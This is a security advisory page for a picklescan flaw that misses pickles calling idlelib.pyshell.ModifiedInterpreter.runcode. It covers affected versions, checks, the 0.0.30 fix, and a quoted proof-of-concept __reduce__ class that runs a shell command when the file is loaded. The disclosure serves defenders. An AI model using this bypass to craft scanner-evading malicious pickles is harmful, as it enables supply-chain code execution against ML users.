---
id: "CVE-2025-71340"
kind: "vulnerability"
aliases: ["CVE-2025-71340", "GHSA-3gf5-cxq9-w223"]
title: "Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode"
severity: "high"
cvss: 8.1
epss: 0.0038
exploited: false
status: "open"
category: "package"
products: [{"name": "picklescan", "fixed": ["0.0.30"], "affected": "< 0.0.30", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-502", "ml-models", "package", "picklescan", "python", "pytorch"]
not_affected_if: ["no-untrusted-pickles", "not-using-picklescan"]
published_at: "2025-08-26T21:37:48+00:00"
first_seen_at: "2026-11-03T17:41:47+00:00"
updated_at: "2026-11-03T17:42:45+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-3gf5-cxq9-w223", "first_seen_at": "2026-11-03T17:41:47+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71340", "first_seen_at": "2026-11-03T17:52:24+00:00"}]
---

# Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode

Picklescan, a Python library used to scan pickle files for dangerous content, fails to flag a payload that calls idlelib.pyshell.ModifiedInterpreter.runcode from a pickle's reduce method. A malicious pickle that passes the scan can run arbitrary commands when a victim loads it with pickle.load().

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:picklescan affected < 0.0.30 fixed 0.0.30

## How to check

- Check the installed picklescan version with `pip show picklescan` and compare it to `0.0.30`.
- Look for picklescan in requirements files, lockfiles and ML pipelines that scan model files before loading them.
- Confirm whether any pickle files from outside sources are loaded after a picklescan check.

## Fix

- `picklescan` `0.0.30` (affected versions are below `0.0.30`).

## Timeline

- 2026-11-03T17:41:47+00:00 ghsa https://github.com/advisories/GHSA-3gf5-cxq9-w223
- 2026-11-03T17:52:24+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2025-71340

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/mmaitre314/picklescan/security-advisories/GHSA-3gf5-cxq9-w223
- [advisory] Maintainer's advisory: github.com https://github.com/mmaitre314/picklescan/security/advisories/GHSA-3gf5-cxq9-w223
- [advisory] Third-party advisory: www.vulncheck.com https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-idlelib-pyshell-modifiedinterpreter-runcode
- [fix] Patch: github.com https://github.com/mmaitre314/picklescan/commit/1931c2d04eaca8d20597705ff39cab78ba364e4b

## From the sources

### Summary

Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```

from idlelib.pyshell import ModifiedInterpreter
from types import SimpleNamespace

class EvilIdlelibPyshellModifiedInterpreterRuncode:
    def __reduce__(self):
        payload = "__import__('os').system('whoami')"
        fake_self = SimpleNamespace(
            locals={},
            tkconsole=SimpleNamespace(
                executing=False,
                beginexecuting=str,
                canceled=False,
                closing=False,
                showtraceback=str,
                endexecuting=str,
                stderr=None,
                text=SimpleNamespace(),
                getvar=str
            ),
            rpcclt=None,
            debugger=None,
            checklinecache=str,
            active_seq=None,
            showtraceback=str,
            canceled=False,
            closing=False
        )
        return ModifiedInterpreter.runcode, (fake_self, payload)

```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
